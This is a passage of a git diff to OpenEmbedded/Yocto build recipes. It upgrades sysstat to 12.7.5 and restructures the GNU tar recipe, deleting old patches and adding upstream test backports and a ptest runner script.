+ /etc/init.d/syslog stop || :
+ fi
+ fi
+}
+
+python () {
+ if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
+ d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+}
diff --git a/meta/recipes-extended/sysstat/sysstat.inc b/meta/recipes-extended/sysstat/sysstat.inc
deleted file mode 100644
index 0bc7e14d36..0000000000
--- a/meta/recipes-extended/sysstat/sysstat.inc
+++ /dev/null
@@ -1,65 +0,0 @@
-SUMMARY = "System performance tools"
-DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux."
-HOMEPAGE = "http://sebastien.godard.pagesperso-orange.fr/"
-LICENSE = "GPLv2+"
-SECTION = "console/utils"
-
-SRC_URI = "http://pagesperso-orange.fr/sebastien.godard/sysstat-${PV}.tar.xz \
- file://99_sysstat \
- file://sysstat.service \
- "
-
-UPSTREAM_CHECK_URI = "http://sebastien.godard.pagesperso-orange.fr/download.html"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-DEPENDS += "base-passwd"
-
-# autotools-brokensep as this package doesn't use automake
-inherit autotools-brokensep gettext systemd
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[lm-sensors] = "--enable-sensors,--disable-sensors,lmsensors,lmsensors-libsensors"
-
-EXTRA_OECONF += "--disable-stripping"
-
-SYSTEMD_PACKAGES = "${PN}"
-SYSTEMD_SERVICE_${PN} = "sysstat.service"
-SYSTEMD_AUTO_ENABLE = "enable"
-
-do_configure_prepend() {
- export sa_lib_dir=${libdir}/sa
-}
-
-do_install() {
- autotools_do_install
-
- # don't install /var/log/sa when populating rootfs. Do it through volatile
- rm -rf ${D}/var
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_sysstat ${D}/etc/default/volatiles
- fi
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
- echo "d ${localstatedir}/log/sa - - - -" \
- > ${D}${sysconfdir}/tmpfiles.d/sysstat.conf
- fi
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_unitdir}/system
- sed -i -e 's#@LIBDIR@#${libdir}#g' ${D}${systemd_unitdir}/system/sysstat.service
-}
-
-pkg_postinst_${PN} () {
- if [ -n "$D" ]; then
- exit 0
- fi
- if [ -e /etc/init.d/populate-volatile.sh ]; then
- /etc/init.d/populate-volatile.sh update
- fi
-}
-
-
-FILES_${PN} += "${libdir}/sa"
-
-TARGET_CC_ARCH += "${LDFLAGS}"
diff --git a/meta/recipes-extended/sysstat/sysstat/0001-Include-needed-headers-explicitly.patch b/meta/recipes-extended/sysstat/sysstat/0001-Include-needed-headers-explicitly.patch
deleted file mode 100644
index c12652307c..0000000000
--- a/meta/recipes-extended/sysstat/sysstat/0001-Include-needed-headers-explicitly.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 42325faa88d64cce799977d611b2792beb154643 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 14 Sep 2015 08:36:59 +0000
-Subject: [PATCH] Include needed headers explicitly
-
-on glibc these headers get pulled in indirectly via other .h files
-but right fix is to include them directly when used
-
-fixes
-
-error: use of undeclared identifier 'PATH_MAX'
-error: called object type 'unsigned int' is not a function or function pointer
-dm_major = major(aux.st_rdev);
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- common.c | 1 +
- ioconf.c | 1 +
- sa_common.c | 1 +
- 3 files changed, 3 insertions(+)
-
-diff --git a/common.c b/common.c
-index a23155b..ad86446 100644
---- a/common.c
-+++ b/common.c
-@@ -20,6 +20,7 @@
- */
-
- #include <stdio.h>
-+#include <limits.h>
- #include <string.h>
- #include <stdlib.h>
- #include <time.h>
-diff --git a/ioconf.c b/ioconf.c
-index 7d88c5d..6d67691 100644
---- a/ioconf.c
-+++ b/ioconf.c
-@@ -27,6 +27,7 @@
- #include <errno.h>
- #include <dirent.h>
- #include <sys/stat.h>
-+#include <sys/types.h>
-
- #include "ioconf.h"
- #include "common.h"
-diff --git a/sa_common.c b/sa_common.c
-index b7351d9..c9e3299 100644
---- a/sa_common.c
-+++ b/sa_common.c
-@@ -20,6 +20,7 @@
- */
-
- #include <stdio.h>
-+#include <limits.h>
- #include <string.h>
- #include <stdlib.h>
- #include <time.h>
---
-2.5.2
-
diff --git a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
new file mode 100644
index 0000000000..84383f955f
--- /dev/null
+++ b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
@@ -0,0 +1,31 @@
+From 1590cc614aaf0fb81cd804414d6c9d5a9227352c Mon Sep 17 00:00:00 2001
+From: Wenlin Kang <wenlin.kang@windriver.com>
+Date: Tue, 5 Nov 2019 16:16:44 +0800
+Subject: [PATCH] configure.ac: remove check for chkconfig
+
+chkconfig can't work on cross-platform, so should remove check for it.
+
+Upstream-Status: Inappropriate [ embedded specific ]
+
+Signed-off-by: Wenlin Kang <wenlin.kang@windriver.com>
+---
+ configure.ac | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index 48b9a31..cedeb43 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -42,7 +42,8 @@ AC_SUBST(VER_JSON)
+ AC_SUBST(VER_XML)
+
+ AC_PATH_PROG(PATH_CP, cp)
+-AC_PATH_PROG(PATH_CHKCONFIG, chkconfig)
++#AC_PATH_PROG(PATH_CHKCONFIG, chkconfig)
++AC_SUBST(PATH_CHKCONFIG)
+
+ # Check for systemd
+ AC_CHECK_PROG(PKG_CONFIG, pkg-config, pkg-config)
+--
+1.9.1
+
diff --git a/meta/recipes-extended/sysstat/sysstat/sysstat.service b/meta/recipes-extended/sysstat/sysstat/sysstat.service
index aff07109f5..ca46befb99 100644
--- a/meta/recipes-extended/sysstat/sysstat/sysstat.service
+++ b/meta/recipes-extended/sysstat/sysstat/sysstat.service
@@ -5,7 +5,7 @@ Description=Resets System Activity Logs
Type=oneshot
RemainAfterExit=yes
User=root
-ExecStart=@LIBDIR@/sa/sa1 --boot
+ExecStart=@LIBEXECDIR@/sa/sa1 --boot
[Install]
WantedBy=multi-user.target
diff --git a/meta/recipes-extended/sysstat/sysstat_11.6.1.bb b/meta/recipes-extended/sysstat/sysstat_11.6.1.bb
deleted file mode 100644
index 4efd2a11d1..0000000000
--- a/meta/recipes-extended/sysstat/sysstat_11.6.1.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require sysstat.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
-
-SRC_URI += "file://0001-Include-needed-headers-explicitly.patch"
-
-SRC_URI[md5sum] = "33cff6260b9c8f0b908fe94ce7ab2773"
-SRC_URI[sha256sum] = "4b2a2cfa8c8fe6ae0155e168ed9a7066caebc3ecb903b0e64a9ede28ecb68fcb"
diff --git a/meta/recipes-extended/sysstat/sysstat_12.7.5.bb b/meta/recipes-extended/sysstat/sysstat_12.7.5.bb
new file mode 100644
index 0000000000..150f4932d8
--- /dev/null
+++ b/meta/recipes-extended/sysstat/sysstat_12.7.5.bb
@@ -0,0 +1,80 @@
+SUMMARY = "System performance tools"
+DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux."
+HOMEPAGE = "https://sysstat.github.io/"
+LICENSE = "GPL-2.0-or-later"
+SECTION = "console/utils"
+
+SRC_URI = "git://github.com/sysstat/sysstat.git;protocol=https;branch=master \
+ file://99_sysstat \
+ file://sysstat.service \
+ file://0001-configure.in-remove-check-for-chkconfig.patch \
+ "
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
+
+SRCREV = "2d7682f26f42cef9127b123e319349b330c4ab8f"
+S = "${WORKDIR}/git"
+
+DEPENDS += "base-passwd"
+
+# autotools-brokensep as this package doesn't use automake
+inherit autotools-brokensep gettext systemd
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[lm-sensors] = "--enable-sensors,--disable-sensors,lmsensors,lmsensors-libsensors"
+PACKAGECONFIG[cron] = "--enable-install-cron --enable-copy-only,--disable-install-cron --disable-copy-only"
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}"
+
+EXTRA_OECONF += "--disable-stripping"
+
+SYSTEMD_PACKAGES = "${PN}"
+SYSTEMD_SERVICE:${PN} = "sysstat.service"
+SYSTEMD_AUTO_ENABLE = "enable"
+
+do_configure:prepend() {
+ export sa_lib_dir=${libexecdir}/sa
+}
+
+do_install() {
+ autotools_do_install
+
+ # Don't version the documentation
+ mv ${D}${docdir}/${BP} ${D}${docdir}/${BPN}
+
+ # don't install /var/log/sa when populating rootfs. Do it through volatile
+ rm -rf ${D}/var
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_sysstat ${D}/etc/default/volatiles
+ fi
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
+ echo "d ${localstatedir}/log/sa - - - -" \
+ > ${D}${nonarch_libdir}/tmpfiles.d/sysstat.conf
+
+ # Unless both cron and systemd are enabled, install our own
+ # systemd unit file. Otherwise the package will install one.
+ if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_system_unitdir}
+ sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_system_unitdir}/sysstat.service
+ fi
+ fi
+}
+
+pkg_postinst:${PN} () {
+ if [ ! -n "$D" ]; then
+ if [ -e /etc/init.d/populate-volatile.sh ]; then
+ /etc/init.d/populate-volatile.sh update
+ fi
+ fi
+}
+
+FILES:${PN} += " \
+ ${systemd_system_unitdir} \
+ ${nonarch_base_libdir}/systemd \
+ ${nonarch_libdir}/tmpfiles.d \
+"
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
diff --git a/meta/recipes-extended/tar/tar.inc b/meta/recipes-extended/tar/tar.inc
deleted file mode 100644
index 93e4da114b..0000000000
--- a/meta/recipes-extended/tar/tar.inc
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "GNU file archiving program"
-DESCRIPTION = "GNU tar saves many files together into a single tape \
-or disk archive, and can restore individual files from the archive."
-HOMEPAGE = "http://www.gnu.org/software/tar/"
-SECTION = "base"
-
-SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2"
-
-inherit autotools gettext texinfo
-
-EXTRA_OECONF += "DEFAULT_RMT_DIR=${base_sbindir}"
-
-# Let aclocal use the relative path for the m4 file rather than the
-# absolute since tar has a lot of m4 files, otherwise there might
-# be an "Argument list too long" error when it is built in a long/deep
-# directory.
-acpaths = "-I ./m4"
-
-do_install () {
- autotools_do_install
- ln -s tar ${D}${bindir}/gtar
-}
-
-do_install_append_class-target() {
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/tar ${D}${base_bindir}/tar
- mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
- rmdir ${D}${bindir}/
- fi
-}
-
-PACKAGES =+ "${PN}-rmt"
-
-FILES_${PN}-rmt = "${base_sbindir}/rmt*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "tar"
-ALTERNATIVE_${PN}-rmt = "rmt"
-ALTERNATIVE_${PN}_class-nativesdk = ""
-ALTERNATIVE_${PN}-rmt_class-nativesdk = ""
-
-ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
-ALTERNATIVE_LINK_NAME[rmt] = "${base_sbindir}/rmt"
-
-PROVIDES_append_class-native = " tar-replacement-native"
-NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch b/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
new file mode 100644
index 0000000000..27d4d9aebf
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
@@ -0,0 +1,228 @@
+From 39849e9d91f477d3fb839f93cd0815d0cb3273e9 Mon Sep 17 00:00:00 2001
+From: Paul Eggert <eggert@cs.ucla.edu>
+Date: Tue, 18 Jul 2023 09:15:03 -0700
+Subject: tests: fix TESTSUITE_AT
+
+Problem reported by Lukas Javorsky <ljavorsk@redhat.com> in:
+https://lists.gnu.org/r/bug-tar/2023-07/msg00002.html
+* tests/Makefile.am (TESTSUITE_AT): Add exclude17.at, exclude18.at.
+Remove compress.m4; all uses changed. Add a comment saying how
+to rederive this. Sort.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=39849e9d91f477d3fb839f93cd0815d0cb3273e9]
+---
+ tests/Makefile.am | 93 ++++++++++++++++++++++++++++---------------------------
+ 1 file changed, 48 insertions(+), 45 deletions(-)
+
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index 4a8f501..1884b72 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -45,21 +45,24 @@ $(srcdir)/package.m4: $(top_srcdir)/configure.ac
+ ## Test suite. ##
+ ## ------------ ##
+
++# You can generate the body of this macro with the following shell command:
++# LC_ALL=C ls *.at */*.at | sed -e 's/^/ /' -e '$!s/$/\\/'
+ TESTSUITE_AT = \
+- testsuite.at\
+- compress.m4\
+ T-cd.at\
+ T-dir00.at\
+ T-dir01.at\
+ T-empty.at\
++ T-mult.at\
++ T-nest.at\
++ T-nonl.at\
+ T-null.at\
+ T-null2.at\
+ T-rec.at\
+ T-recurse.at\
+ T-zfile.at\
+- T-nonl.at\
+- T-mult.at\
+- T-nest.at\
++ acls01.at\
++ acls02.at\
++ acls03.at\
+ add-file.at\
+ append.at\
+ append01.at\
+@@ -68,14 +71,15 @@ TESTSUITE_AT = \
+ append04.at\
+ append05.at\
+ backup01.at\
+- chtype.at\
+- comprec.at\
+- comperr.at\
++ capabs_raw01.at\
+ checkpoint/defaults.at\
+- checkpoint/interval.at\
+- checkpoint/dot.at\
+ checkpoint/dot-compat.at\
+ checkpoint/dot-int.at\
++ checkpoint/dot.at\
++ checkpoint/interval.at\
++ chtype.at\
++ comperr.at\
++ comprec.at\
+ delete01.at\
+ delete02.at\
+ delete03.at\
+@@ -83,6 +87,8 @@ TESTSUITE_AT = \
+ delete05.at\
+ delete06.at\
+ difflink.at\
++ dirrem01.at\
++ dirrem02.at\
+ exclude.at\
+ exclude01.at\
+ exclude02.at\
+@@ -100,6 +106,8 @@ TESTSUITE_AT = \
+ exclude14.at\
+ exclude15.at\
+ exclude16.at\
++ exclude17.at\
++ exclude18.at\
+ extrac01.at\
+ extrac02.at\
+ extrac03.at\
+@@ -127,11 +135,9 @@ TESTSUITE_AT = \
+ extrac25.at\
+ filerem01.at\
+ filerem02.at\
+- dirrem01.at\
+- dirrem02.at\
+- gzip.at\
+ grow.at\
+- incremental.at\
++ gzip.at\
++ ignfail.at\
+ incr01.at\
+ incr02.at\
+ incr03.at\
+@@ -143,8 +149,8 @@ TESTSUITE_AT = \
+ incr09.at\
+ incr10.at\
+ incr11.at\
++ incremental.at\
+ indexfile.at\
+- ignfail.at\
+ label01.at\
+ label02.at\
+ label03.at\
+@@ -188,22 +194,16 @@ TESTSUITE_AT = \
+ opcomp04.at\
+ opcomp05.at\
+ opcomp06.at\
+- positional01.at\
+- positional02.at\
+- positional03.at\
+ options.at\
+ options02.at\
+ options03.at\
+ owner.at\
+ pipe.at\
+- recurse.at\
++ positional01.at\
++ positional02.at\
++ positional03.at\
+ recurs02.at\
+- rename01.at\
+- rename02.at\
+- rename03.at\
+- rename04.at\
+- rename05.at\
+- rename06.at\
++ recurse.at\
+ remfiles01.at\
+ remfiles02.at\
+ remfiles03.at\
+@@ -226,11 +226,19 @@ TESTSUITE_AT = \
+ remfiles09b.at\
+ remfiles09c.at\
+ remfiles10.at\
++ rename01.at\
++ rename02.at\
++ rename03.at\
++ rename04.at\
++ rename05.at\
++ rename06.at\
+ same-order01.at\
+ same-order02.at\
++ selacl01.at\
++ selnx01.at\
+ shortfile.at\
+- shortupd.at\
+ shortrec.at\
++ shortupd.at\
+ sigpipe.at\
+ sparse01.at\
+ sparse02.at\
+@@ -247,6 +255,13 @@ TESTSUITE_AT = \
+ sptrcreat.at\
+ sptrdiff00.at\
+ sptrdiff01.at\
++ star/gtarfail.at\
++ star/gtarfail2.at\
++ star/multi-fail.at\
++ star/pax-big-10g.at\
++ star/ustar-big-2g.at\
++ star/ustar-big-8g.at\
++ testsuite.at\
+ time01.at\
+ time02.at\
+ truncate.at\
+@@ -255,21 +270,11 @@ TESTSUITE_AT = \
+ update02.at\
+ update03.at\
+ update04.at\
+- volsize.at\
+- volume.at\
+ verbose.at\
+ verify.at\
+ version.at\
+- xform-h.at\
+- xform01.at\
+- xform02.at\
+- xform03.at\
+- star/gtarfail.at\
+- star/gtarfail2.at\
+- star/multi-fail.at\
+- star/ustar-big-2g.at\
+- star/ustar-big-8g.at\
+- star/pax-big-10g.at\
++ volsize.at\
++ volume.at\
+ xattr01.at\
+ xattr02.at\
+ xattr03.at\
+@@ -278,12 +283,10 @@ TESTSUITE_AT = \
+ xattr06.at\
+ xattr07.at\
+ xattr08.at\
+- acls01.at\
+- acls02.at\
+- acls03.at\
+- selnx01.at\
+- selacl01.at\
+- capabs_raw01.at
++ xform-h.at\
++ xform01.at\
++ xform02.at\
++ xform03.at
+
+ distclean-local:
+ -rm -rf download
+@@ -291,7 +294,7 @@ distclean-local:
+ TESTSUITE = $(srcdir)/testsuite
+
+ AUTOTEST = $(AUTOM4TE) --language=autotest
+-$(TESTSUITE): package.m4 $(TESTSUITE_AT)
++$(TESTSUITE): compress.m4 package.m4 $(TESTSUITE_AT)
+ $(AUTOTEST) -I $(srcdir) testsuite.at -o $@.tmp
+ mv $@.tmp $@
+
+--
+cgit v1.1
+
diff --git a/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch b/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
new file mode 100644
index 0000000000..6cd8c5510f
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
@@ -0,0 +1,60 @@
+From 0f0722df45ec520d0dac7c9ad7e69165e9140931 Mon Sep 17 00:00:00 2001
+From: Paul Eggert <eggert@cs.ucla.edu>
+Date: Fri, 7 Oct 2022 15:22:07 -0700
+Subject: tests: check for recently-fixed bug
+
+* tests/exclude17.at: New file.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=0f0722df45ec520d0dac7c9ad7e69165e9140931]
+
+Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
+
+---
+ tests/exclude17.at | 35 +++++++++++++++++++++++++++++++++++
+ 1 files changed, 35 insertions(+)
+ create mode 100644 tests/exclude17.at
+
+diff --git a/tests/exclude17.at b/tests/exclude17.at
+new file mode 100644
+index 0000000..4162b2b
+--- /dev/null
++++ b/tests/exclude17.at
+@@ -0,0 +1,35 @@
++# Process this file with autom4te to create testsuite. -*- Autotest -*-
++#
++# Test suite for GNU tar.
++# Copyright 2013-2022 Free Software Foundation, Inc.
++
++# This file is part of GNU tar.
++
++# GNU tar is free software; you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation; either version 3 of the License, or
++# (at your option) any later version.
++
++# GNU tar is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program. If not, see <http://www.gnu.org/licenses/>.
++
++AT_SETUP([--exclude-vcs-ignores memory allocation])
++AT_KEYWORDS([exclude exclude17])
++
++AT_TAR_CHECK([
++mkdir dir
++cd dir
++echo '*.o' >.cvsignore
++tar -cf - --exclude-vcs-ignores . | tar -tf -
++],
++[0],
++[./
++./.cvsignore
++])
++
++AT_CLEANUP
+--
+cgit v1.1
+
diff --git a/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch b/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
new file mode 100644
index 0000000000..577a9ba997
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
@@ -0,0 +1,112 @@
+From 4f814e0e4c673f86dc65a557f7e55f6b5efd1529 Mon Sep 17 00:00:00 2001
+From: Anton Makrushin <makrusan@gmail.com>
+Date: Mon, 20 Mar 2023 20:05:42 +0530
+Subject: Exclude VCS directory with writing from an archive
+
+See https://savannah.gnu.org/bugs/?62859
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=4f814e0e4c673f86dc65a557f7e55f6b5efd1529]
+
+Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
+
+---
+ tests/exclude18.at | 87 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 1 files changed, 87 insertions(+)
+ create mode 100644 tests/exclude18.at
+
+diff --git a/tests/exclude18.at b/tests/exclude18.at
+new file mode 100644
+index 0000000..64aaa52
+--- /dev/null
++++ b/tests/exclude18.at
+@@ -0,0 +1,87 @@
++# Process this file with autom4te to create testsuite. -*- Autotest -*-
++
++# Test suite for GNU tar.
++# Copyright 2004-2023 Free Software Foundation, Inc.
++
++# This file is part of GNU tar.
++
++# GNU tar is free software; you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation; either version 3 of the License, or
++# (at your option) any later version.
++
++# GNU tar is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program. If not, see <http://www.gnu.org/licenses/>.
++
++# Test --exclude-vcs option with subcommands: EXTRACT, LIST, DIFF.
++# Check VCS directory with files, and empty.
++#
++# Ref: https://savannah.gnu.org/bugs/?62859
++# Wed 03 Aug 2022 04:06:28 PM UTC, original submission: Quote
++# Mohamed Akram <mohdakram>
++# > The --exclude-vcs flag seems to exclude .gitignore but not .git when
++# extracting.
++
++AT_SETUP([--exclude-vcs extract list compare])
++AT_KEYWORDS([exclude-vcs extract list compare exclude18])
++
++AT_TAR_CHECK([
++AT_SORT_PREREQ
++mkdir gitrepo
++cd gitrepo
++
++# Make an empty VCS directory:
++mkdir .svn
++
++# Make a VCS directory with a file:
++mkdir .git
++touch .git/_A
++
++# Make a VCS file:
++touch .gitignore
++
++# Make non-VCS files:
++touch .git_B
++touch _C
++
++# Create an archive, include VCS:
++cd ..
++tar -cf gitrepo.tar gitrepo
++rm -r gitrepo
++
++echo Extract:
++tar -xvf gitrepo.tar --exclude-vcs | sort
++
++echo
++echo List:
++tar -tf gitrepo.tar --exclude-vcs | sort
++
++echo
++echo Diff:
++tar -dvf gitrepo.tar --exclude-vcs gitrepo | sort
++
++],
++[0],
++[Extract:
++gitrepo/
++gitrepo/.git_B
++gitrepo/_C
++
++List:
++gitrepo/
++gitrepo/.git_B
++gitrepo/_C
++
++Diff:
++gitrepo/
++gitrepo/.git_B
++gitrepo/_C
++],
++[])
++
++AT_CLEANUP
+--
+cgit v1.1
+
diff --git a/meta/recipes-extended/tar/tar/CVE-2016-6321.patch b/meta/recipes-extended/tar/tar/CVE-2016-6321.patch
deleted file mode 100644
index 6d35bcc513..0000000000
--- a/meta/recipes-extended/tar/tar/CVE-2016-6321.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-From 7340f67b9860ea0531c1450e5aa261c50f67165d Mon Sep 17 00:00:00 2001
-From: Paul Eggert <eggert@Penguin.CS.UCLA.EDU>
-Date: Sat, 29 Oct 2016 21:04:40 -0700
-Subject: [PATCH] When extracting, skip ".." members
-
-* NEWS: Document this.
-* src/extract.c (extract_archive): Skip members whose names
-contain "..".
-
-CVE: CVE-2016-6321
-Upstream-Status: Backport
-
-Cherry picked from commit: 7340f67 When extracting, skip ".." members
-
-Signed-off-by: Sona Sarmadi <sona.sarmadi@enea.com>
----
- NEWS | 8 +++++++-
- src/extract.c | 8 ++++++++
- 2 files changed, 15 insertions(+), 1 deletion(-)
-
-diff --git a/NEWS b/NEWS
-index 501164a..fc97cfc 100644
---- a/NEWS
-+++ b/NEWS
-@@ -1,6 +1,12 @@
--GNU tar NEWS - User visible changes. 2016-05-16
-+GNU tar NEWS - User visible changes. 2016-10-29
- Please send GNU tar bug reports to <bug-tar@gnu.org>
-
-+* Member names containing '..' components are now skipped when extracting.
-+
-+This fixes tar's behavior to match its documentation, and is a bit
-+safer when extracting untrusted archives over old files (an unsafe
-+practice that the tar manual has long recommended against).
-+
-
- version 1.29 - Sergey Poznyakoff, 2016-05-16
-
-diff --git a/src/extract.c b/src/extract.c
-index f982433..7904148 100644
---- a/src/extract.c
-+++ b/src/extract.c
-@@ -1629,12 +1629,20 @@ extract_archive (void)
- {
- char typeflag;
- tar_extractor_t fun;
-+ bool skip_dotdot_name;
-
- fatal_exit_hook = extract_finish;
-
- set_next_block_after (current_header);
-
-+ skip_dotdot_name = (!absolute_names_option
-+ && contains_dot_dot (current_stat_info.orig_file_name));
-+ if (skip_dotdot_name)
-+ ERROR ((0, 0, _("%s: Member name contains '..'"),
-+ quotearg_colon (current_stat_info.orig_file_name)));
-+
- if (!current_stat_info.file_name[0]
-+ || skip_dotdot_name
- || (interactive_option
- && !confirm ("extract", current_stat_info.file_name)))
- {
---
-1.9.1
-
diff --git a/meta/recipes-extended/tar/tar/musl_dirent.patch b/meta/recipes-extended/tar/tar/musl_dirent.patch
deleted file mode 100644
index b0dc16c3dd..0000000000
--- a/meta/recipes-extended/tar/tar/musl_dirent.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-musl has valid d_ino implementation
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: tar-1.28/m4/d-ino.m4
-===================================================================
---- tar-1.28.orig/m4/d-ino.m4
-+++ tar-1.28/m4/d-ino.m4
-@@ -40,7 +40,8 @@ AC_DEFUN([gl_CHECK_TYPE_STRUCT_DIRENT_D_
- [gl_cv_struct_dirent_d_ino=no],
- [case "$host_os" in
- # Guess yes on glibc systems with Linux kernel.
-- linux*-gnu*) gl_cv_struct_dirent_d_ino="guessing yes" ;;
-+ linux*-gnu*|linux*-musl*)
-+ gl_cv_struct_dirent_d_ino="guessing yes" ;;
- # If we don't know, assume the worst.
- *) gl_cv_struct_dirent_d_ino="guessing no" ;;
- esac
diff --git a/meta/recipes-extended/tar/tar/remove-gets.patch b/meta/recipes-extended/tar/tar/remove-gets.patch
deleted file mode 100644
index f24de926a3..0000000000
--- a/meta/recipes-extended/tar/tar/remove-gets.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-ISO C11 removes the specification of gets() from the C language, eglibc 2.16+ removed it
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gnu/stdio.in.h | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/gnu/stdio.in.h b/gnu/stdio.in.h
-index ec43874..502e3ae 100644
---- a/gnu/stdio.in.h
-+++ b/gnu/stdio.in.h
-@@ -722,10 +722,12 @@ _GL_WARN_ON_USE (getline, "getline is unportable - "
- /* It is very rare that the developer ever has full control of stdin,
- so any use of gets warrants an unconditional warning; besides, C11
- removed it. */
-+#if defined gets
- #undef gets
- #if HAVE_RAW_DECL_GETS && !defined __cplusplus
- _GL_WARN_ON_USE (gets, "gets is a security hole - use fgets instead");
- #endif
-+#endif
-
- #if @GNULIB_OBSTACK_PRINTF@ || @GNULIB_OBSTACK_PRINTF_POSIX@
- struct obstack;
---
-2.8.3
-
diff --git a/meta/recipes-extended/tar/tar/run-ptest b/meta/recipes-extended/tar/tar/run-ptest
new file mode 100644
index 0000000000..185b33d61a
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/run-ptest
@@ -0,0 +1,14 @@
+#!/bin/sh
+
+# Define tar test work dir
+WORKDIR=@PTEST_PATH@/tests/
+
+# Run test
+cd ${WORKDIR}
+./atconfig ./atlocal ./testsuite
+
+# clear log
+rm -rf testsuite.dir
+rm -rf testsuite.log
+
+./testsuite --am-fmt
diff --git a/meta/recipes-extended/tar/tar_1.29.bb b/meta/recipes-extended/tar/tar_1.29.bb
deleted file mode 100644
index f22d9c9388..0000000000
--- a/meta/recipes-extended/tar/tar_1.29.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require tar.inc
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[acl] = "--with-posix-acls, --without-posix-acls, acl,"
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI += "file://remove-gets.patch \
